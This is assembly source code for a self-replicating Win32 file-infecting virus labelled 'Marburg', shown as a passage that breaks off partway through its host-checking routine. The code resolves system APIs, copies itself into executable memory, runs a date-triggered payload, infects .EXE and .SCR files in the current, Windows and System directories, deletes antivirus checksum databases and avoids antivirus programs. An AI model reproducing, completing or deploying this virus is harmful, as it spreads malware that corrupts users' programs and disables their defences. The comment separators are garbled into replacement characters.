virseg segment dword use32 public 'Marburg'
|
|||
|
|
|
|||
|
|
Mem_Base equ this byte
|
|||
|
|
|
|||
|
|
virus_entry: ;Get delta offset and host base address
|
|||
|
|
|
|||
|
|
call get_delta
|
|||
|
|
|
|||
|
|
init_end equ this byte
|
|||
|
|
|
|||
|
|
get_delta: pop ebp
|
|||
|
|
mov ebx,ebp
|
|||
|
|
sub ebp,offset get_delta
|
|||
|
|
|
|||
|
|
;Get host base address
|
|||
|
|
;Generate a SUB ebx,fix_baseaddr instruction
|
|||
|
|
|
|||
|
|
db 81h,0EBh
|
|||
|
|
fix_baseaddr dd 00000000h
|
|||
|
|
|
|||
|
|
;Prepare return address
|
|||
|
|
|
|||
|
|
mov eax,ebx
|
|||
|
|
|
|||
|
|
;Generate ADD eax,rva_org_eip
|
|||
|
|
|
|||
|
|
db 05h
|
|||
|
|
rva_org_eip dd 00000000h
|
|||
|
|
|
|||
|
|
;Save host entry-point into stack, we will jump there
|
|||
|
|
;later using a RET
|
|||
|
|
|
|||
|
|
push eax
|
|||
|
|
|
|||
|
|
entry1st_gen: ;End of virus initialization, at this point:
|
|||
|
|
;
|
|||
|
|
; ss:[esp] - Host entry-point
|
|||
|
|
; ebx - Base address
|
|||
|
|
; ebp - Delta offset
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Check if we know the GetModuleHandle entry point
|
|||
|
|
;If we dont know it try to get KERNEL32 base
|
|||
|
|
;address using our own code
|
|||
|
|
|
|||
|
|
db 0B8h
|
|||
|
|
rva_GetModuleH dd offset a_GetModuleH-base_default
|
|||
|
|
or eax,eax
|
|||
|
|
jz use_our_own_1
|
|||
|
|
|
|||
|
|
;Yes, eax is the rva for the function address
|
|||
|
|
|
|||
|
|
push dword ptr [eax+ebx]
|
|||
|
|
pop dword ptr [ebp+a_GetModuleH]
|
|||
|
|
|
|||
|
|
;Now we know the address of GetModuleHandle,
|
|||
|
|
;so use it in order to get KERNEL32.dll
|
|||
|
|
;base address
|
|||
|
|
;If the function fails try to get KERNEL32 base
|
|||
|
|
;address using our own function
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [ebp+szKernel32]
|
|||
|
|
push eax
|
|||
|
|
|
|||
|
|
call dword ptr [ebp+a_GetModuleH]
|
|||
|
|
or eax,eax
|
|||
|
|
jnz got_kernel
|
|||
|
|
|
|||
|
|
use_our_own_1: ;No, grrr, try to get it by ourself
|
|||
|
|
|
|||
|
|
call my_getkernel
|
|||
|
|
or eax,eax
|
|||
|
|
jz err_virus_init
|
|||
|
|
|
|||
|
|
got_kernel: ;Save KERNEL32 base address for l8r use
|
|||
|
|
|
|||
|
|
mov dword ptr [ebp+a_Kernel32],eax
|
|||
|
|
|
|||
|
|
;Now check if we know the GetProcAddress entry point
|
|||
|
|
|
|||
|
|
db 0B8h
|
|||
|
|
rva_GetProcAddr dd offset a_GetProcAddr-base_default
|
|||
|
|
or eax,eax
|
|||
|
|
jz use_our_own_2
|
|||
|
|
|
|||
|
|
;Yes, eax is the rva for the function address
|
|||
|
|
|
|||
|
|
push dword ptr [eax+ebx]
|
|||
|
|
pop eax
|
|||
|
|
jmp short got_getprocaddr
|
|||
|
|
|
|||
|
|
use_our_own_2: ;Use our own routine to get GetProcAddress entry point
|
|||
|
|
|
|||
|
|
call my_GetProcAddr
|
|||
|
|
|
|||
|
|
got_getprocaddr:;Save GetProcAddress entry point for l8r use
|
|||
|
|
|
|||
|
|
mov dword ptr [ebp+a_GetProcAddr],eax
|
|||
|
|
|
|||
|
|
;Use GetProcAddress to get the rest of function addresses
|
|||
|
|
|
|||
|
|
call get_functions
|
|||
|
|
jecxz err_virus_init
|
|||
|
|
|
|||
|
|
;Allocate some memory for the virus
|
|||
|
|
|
|||
|
|
push PAGE_EXECUTE_READWRITE
|
|||
|
|
push MEM_RESERVE or MEM_COMMIT
|
|||
|
|
push mem_size+inf_size
|
|||
|
|
push 00000000h
|
|||
|
|
call dword ptr [ebp+a_VirtualAlloc]
|
|||
|
|
|
|||
|
|
;Exit if cant find free memory... mmm...
|
|||
|
|
|
|||
|
|
or eax,eax
|
|||
|
|
jz err_virus_init
|
|||
|
|
|
|||
|
|
;Copy virus to allocated memory
|
|||
|
|
|
|||
|
|
lea esi,dword ptr [ebp+Mem_Base]
|
|||
|
|
mov edi,eax
|
|||
|
|
mov ecx,mem_size
|
|||
|
|
cld
|
|||
|
|
rep movsb
|
|||
|
|
|
|||
|
|
;Jump to virus code into allocated memory
|
|||
|
|
|
|||
|
|
add eax,mem_entry-Mem_Base
|
|||
|
|
jmp eax
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Entry point for resident code
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
mem_entry: ;From this point we no longer care about host
|
|||
|
|
;base address
|
|||
|
|
|
|||
|
|
call mem_delta
|
|||
|
|
mem_delta: pop ebp
|
|||
|
|
sub ebp,offset mem_delta
|
|||
|
|
|
|||
|
|
;Get current system time
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [ebp+my_system_time]
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_GetSysTime]
|
|||
|
|
|
|||
|
|
;It's time to call our payload routine????
|
|||
|
|
|
|||
|
|
mov ax,word ptr [ebp+inf_month]
|
|||
|
|
add ax,0003h
|
|||
|
|
mov dx,000Ch
|
|||
|
|
cmp ax,dx
|
|||
|
|
jbe check_month
|
|||
|
|
sub ax,dx
|
|||
|
|
check_month: cmp ax,word ptr [ebp+time_month]
|
|||
|
|
jne viral_sleep
|
|||
|
|
mov ax,word ptr [ebp+inf_day]
|
|||
|
|
cmp ax,word ptr [ebp+time_day]
|
|||
|
|
jne viral_sleep
|
|||
|
|
call payload
|
|||
|
|
|
|||
|
|
viral_sleep: ;Do direct action stuff
|
|||
|
|
;The virus will infect files on \WINDOWS, \SYSTEM and
|
|||
|
|
;current directory
|
|||
|
|
|
|||
|
|
;Try to infect files in current directory
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [ebp+szWorkDir]
|
|||
|
|
push eax
|
|||
|
|
push MAX_PATH
|
|||
|
|
call dword ptr [ebp+a_GetCurDir]
|
|||
|
|
or eax,eax
|
|||
|
|
jz try_windir
|
|||
|
|
|
|||
|
|
call do_in_dir
|
|||
|
|
|
|||
|
|
try_windir: ;Get windows directory
|
|||
|
|
|
|||
|
|
push MAX_PATH
|
|||
|
|
lea eax,dword ptr [ebp+szWorkDir]
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_GetWindowsDir]
|
|||
|
|
or eax,eax
|
|||
|
|
jz try_sysdir
|
|||
|
|
|
|||
|
|
;Try to infect files in \WINDOWS directory
|
|||
|
|
|
|||
|
|
call do_in_dir
|
|||
|
|
|
|||
|
|
try_sysdir: ;Get system directory
|
|||
|
|
|
|||
|
|
push MAX_PATH
|
|||
|
|
lea eax,dword ptr [ebp+szWorkDir]
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_GetSystemDir]
|
|||
|
|
or eax,eax
|
|||
|
|
jz err_virus_init
|
|||
|
|
|
|||
|
|
;Try to infect files in \SYSTEM directory
|
|||
|
|
|
|||
|
|
call do_in_dir
|
|||
|
|
|
|||
|
|
err_virus_init: ;We have to restore code at host entry-point?
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
cmp dword ptr [ebp+insert_size],eax
|
|||
|
|
je back2host
|
|||
|
|
|
|||
|
|
;Get current process
|
|||
|
|
|
|||
|
|
call dword ptr [ebp+a_GetCurProc]
|
|||
|
|
|
|||
|
|
;Restore host entry-point code
|
|||
|
|
;Use WriteProcessMemory in order to prevent exceptions
|
|||
|
|
;while writing to protected areas
|
|||
|
|
|
|||
|
|
pop edx
|
|||
|
|
push edx
|
|||
|
|
xor ecx,ecx
|
|||
|
|
push ecx
|
|||
|
|
push dword ptr [ebp+insert_size]
|
|||
|
|
lea ecx,dword ptr [ebp+entry_code]
|
|||
|
|
push ecx
|
|||
|
|
push edx
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_WriteProcMem]
|
|||
|
|
|
|||
|
|
back2host: ;Back to host
|
|||
|
|
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Infect *.EXE and *.SCR files in specified path
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
do_in_dir: ;The virus will not infect files in the root directory
|
|||
|
|
;directory
|
|||
|
|
;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;eax - path string size
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;None
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Trying to infect files in root directory?
|
|||
|
|
|
|||
|
|
cmp eax,00000004h
|
|||
|
|
jb file_not_found
|
|||
|
|
|
|||
|
|
;Delete some AV checksum databases
|
|||
|
|
|
|||
|
|
mov edx,eax
|
|||
|
|
mov ecx,(end_AV_files-tbl_AV_files)/04h
|
|||
|
|
lea esi,dword ptr [ebp+tbl_AV_files]
|
|||
|
|
loop_del_AV: lodsd
|
|||
|
|
push esi
|
|||
|
|
add eax,ebp
|
|||
|
|
mov esi,eax
|
|||
|
|
call delete_file
|
|||
|
|
pop esi
|
|||
|
|
loop loop_del_AV
|
|||
|
|
|
|||
|
|
;Insert *.* into path
|
|||
|
|
|
|||
|
|
lea esi,dword ptr [ebp+szSearch]
|
|||
|
|
call copy_szMask
|
|||
|
|
|
|||
|
|
;FindFirstFile
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [ebp+my_FindData]
|
|||
|
|
push eax
|
|||
|
|
lea eax,dword ptr [ebp+szWorkDir]
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_FindFirst]
|
|||
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|||
|
|
je file_not_found
|
|||
|
|
|
|||
|
|
;Save the search handle
|
|||
|
|
|
|||
|
|
mov dword ptr [ebp+Search_h],eax
|
|||
|
|
|
|||
|
|
try_this_file: ;Check file size
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
cmp dword ptr [ebp+my_FindData.WFD_nFileSizeHigh],eax
|
|||
|
|
jne cant_open
|
|||
|
|
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
|
|||
|
|
cmp eax,0FFFFFFFFh-(inf_size+SIZE_PADDING)
|
|||
|
|
jae cant_open
|
|||
|
|
|
|||
|
|
;Check if file is already infected
|
|||
|
|
|
|||
|
|
mov ecx,SIZE_PADDING
|
|||
|
|
xor edx,edx
|
|||
|
|
div ecx
|
|||
|
|
or edx,edx
|
|||
|
|
jz cant_open
|
|||
|
|
|
|||
|
|
;Add filename to path
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
lea esi,dword ptr [ebp+szWorkDir]
|
|||
|
|
mov edx,esi
|
|||
|
|
do_path_1: lodsb
|
|||
|
|
cmp al,"\"
|
|||
|
|
jne avoid_path
|
|||
|
|
mov edx,esi
|
|||
|
|
avoid_path: or al,al
|
|||
|
|
jne do_path_1
|
|||
|
|
lea esi,dword ptr [ebp+my_FindData.WFD_szFileName]
|
|||
|
|
mov edi,edx
|
|||
|
|
do_path_2: lodsb
|
|||
|
|
cmp al,"a"
|
|||
|
|
jb char_is_ok
|
|||
|
|
sub al,("a"-"A")
|
|||
|
|
char_is_ok: cmp al,"V"
|
|||
|
|
je cant_open
|
|||
|
|
stosb
|
|||
|
|
or al,al
|
|||
|
|
jnz do_path_2
|
|||
|
|
|
|||
|
|
;The virus does not infect files with V character in their
|
|||
|
|
;names as well as the following programs:
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [edx]
|
|||
|
|
|
|||
|
|
;Panda antivirus
|
|||
|
|
|
|||
|
|
cmp eax,"DNAP"
|
|||
|
|
je cant_open
|
|||
|
|
|
|||
|
|
;Datafellows F-Prot
|
|||
|
|
|
|||
|
|
cmp eax,"RP-F"
|
|||
|
|
je cant_open
|
|||
|
|
|
|||
|
|
;McAfee Scan
|
|||
|
|
|
|||
|
|
cmp eax,"NACS"
|
|||
|
|
je cant_open
|
|||
|
|
|
|||
|
|
;Check file extension, allow *.EXE and *.SRC files
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [edi-00000005h]
|
|||
|
|
cmp eax,"EXE."
|
|||
|
|
je target_file
|
|||
|
|
cmp eax,"RCS."
|
|||
|
|
jne cant_open
|
|||
|
|
|
|||
|
|
target_file: ;Open and map file
|
|||
|
|
|
|||
|
|
call open_map_file
|
|||
|
|
or eax,eax
|
|||
|
|
jz cant_open
|
|||
|
|
|
|||
|
|
;Check if we can infect this file
|
|||
|
|
|
|||
|
|
call check_victim
|
|||
|
|
jecxz bad_host
|
|||
|
|
|
|||
|
|
atach_2host: ;Infect file
|
|||
|
|
|
|||
|
|
call infect_file
|
|||
|
|
jnc search_end
|
|||
|
|
jmp short cant_open
|
|||
|
|
|
|||
|
|
bad_host: ;File cant be infected, skip it
|
|||
|
|
|
|||
|
|
call unmap_close
|
|||
|
|
|
|||
|
|
cant_open: ;Find next file
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [ebp+my_FindData]
|
|||
|
|
push eax
|
|||
|
|
push dword ptr [ebp+Search_h]
|
|||
|
|
call dword ptr [ebp+a_FindNext]
|
|||
|
|
cmp eax,FALSE
|
|||
|
|
jne try_this_file
|
|||
|
|
|
|||
|
|
search_end: ;Close Win32 find handle
|
|||
|
|
|
|||
|
|
push dword ptr [ebp+Search_h]
|
|||
|
|
call dword ptr [ebp+a_FindClose]
|
|||
|
|
|
|||
|
|
file_not_found: ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Copy search mask into work path
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
copy_szMask: ;Entry:
|
|||
|
|
;
|
|||
|
|
;edx - Filename offset in path string
|
|||
|
|
;esi - Search mask
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;None
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
lea edi,dword ptr [ebp+edx+szWorkDir]
|
|||
|
|
mov al,"\"
|
|||
|
|
stosb
|
|||
|
|
loop_copy_name: lodsb
|
|||
|
|
stosb
|
|||
|
|
or al,al
|
|||
|
|
jnz loop_copy_name
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Delete file in work path
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
delete_file: ;Entry:
|
|||
|
|
;
|
|||
|
|
;edx - Filename offset in path string
|
|||
|
|
;esi - File to delete
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;None
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Add filename to path
|
|||
|
|
|
|||
|
|
push ecx
|
|||
|
|
push edx
|
|||
|
|
call copy_szMask
|
|||
|
|
|
|||
|
|
;Reset attributes so we can delete write protected files
|
|||
|
|
|
|||
|
|
push FILE_ATTRIBUTE_NORMAL
|
|||
|
|
lea eax,dword ptr [ebp+szWorkDir]
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_SetFileAttr]
|
|||
|
|
|
|||
|
|
;Delete file
|
|||
|
|
|
|||
|
|
lea eax,dword ptr [ebp+szWorkDir]
|
|||
|
|
push eax
|
|||
|
|
call dword ptr [ebp+a_DeleteFile]
|
|||
|
|
|
|||
|
|
pop edx
|
|||
|
|
pop ecx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Check if a given file can be infected
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
check_victim: ;The host must be PE, fit allowed size and import at least
|
|||
|
|
;one function from Kernel32
|
|||
|
|
;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;a_Kernel32 - Base address for kernel32
|
|||
|
|
;eax - Base address for memory mapped file
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;ecx - Null if error
|
|||
|
|
;eax - Preserved
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Save host base address
|
|||
|
|
|
|||
|
|
push ebp
|
|||
|
|
push eax
|
|||
|
|
|
|||
|
|
;Set structured exception handler
|
|||
|
|
|
|||
|
|
call SEH_SetFrame01
|
|||
|
|
mov esp,dword ptr [esp+00000008h]
|
|||
|
|
err_checkfile: xor ecx,ecx
|
|||
|
|
jmp SEH_error01
|
|||
|
|
SEH_SetFrame01: xor edx,edx
|
|||
|
|
push dword ptr fs:[edx]
|
|||
|
|
mov dword ptr fs:[edx],esp
|
|||
|
|
|
|||
|
|
;Search for Kernel32 Import Module Descriptor, abort
|
|||
|
|
;infection if not found
|
|||
|
|
|
|||
|
|
mov ebx,eax
|
|||
|
|
|
|||
|
|
;ebx - Base address of host in memory
|
|||
|
|
|
|||
|
|
;Check for MZ signature at base address
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
|
|||
|
|
jne err_checkfile
|
|||
|
|
|
|||
|
|
;Check file address of relocation table
|
|||
|
|
|
|||
|
|
cmp word ptr [ebx+DH_lfarlc],0040h
|
|||
|
|
jb err_checkfile
|
|||
|
|
|
|||
|
|
;Now go to the pe header and check for the PE signature
|
|||
|
|
|
|||
|
|
mov esi,dword ptr [ebx+DH_lfanew]
|
|||
|
|
add esi,ebx
|
|||
|
|
lodsd
|
|||
|
|
cmp eax,IMAGE_NT_SIGNATURE
|
|||
|
|
jne err_checkfile
|
|||
|
|
|
|||
|
|
;Check machine field in IMAGE_FILE_HEADER
|
|||
|
|
;just allow i386 PE files
|
|||
|
|
|
|||
|
|
cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
|
|||
|
|
jne err_checkfile
|
|||
|
|
|
|||
|
|
;Now check the characteristics, look if file
|
|||
|
|
;is an executable
|
|||
|
|
|
|||
|
|
mov ax,word ptr [esi+FH_Characteristics]
|
|||
|
|
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
|
|||
|
|
jz err_checkfile
|
|||
|
|
|
|||
|
|
;Avoid DLL's
|
|||
|
|
|
|||
|
|
test ax,IMAGE_FILE_DLL
|
|||
|
|
jnz err_checkfile
|
|||
|
|
|
|||
|
|
;Get pointer to imports raw data
|
|||
|
|
|
|||
|
|
mov edx,dword ptr [esi+OH_DataDirectory. \
|
|||
|
|
DE_Import. \
|
|||
|
|
DD_VirtualAddress+ \
|
|||
|
|
IMAGE_SIZEOF_FILE_HEADER]
|
|||
|
|
|
|||
|
|
call RVA2RAW
|
|||
|
|
jecxz err_checkfile
|
|||
|
|
mov eax,ecx
|
|||
|
|
|
|||
|
|
next_imd_img: ;Search for kernel32 through the array of imported
|
|||
|
|
;module descriptors
|
|||
|
|
|
|||
|
|
lea edi,dword ptr [ebp+offset szKernel32]
|
|||
|
|
mov esi,dword ptr [eax+ID_Name]
|
|||
|
|
|
|||
|
|
;Exit if the RVA to dll name doesnt exist
|
|||
|
|
or esi,esi
|
|||
|
|
jz err_checkfile
|
|||
|
|
|
|||
|
|
;Sub the delta offset
|
|||
|
|
|
|||
|
|
sub esi,edx
|
|||
|
|
|
|||
|
|
;Get absolute address of dll name
|
|||
|
|
|
|||
|
|
add esi,ebx
|
|||
|
|
|
|||
|
|
;Compare names
|
|||
|
|
|
|||
|
|
mov ecx,00000008h
|
|||
|
|
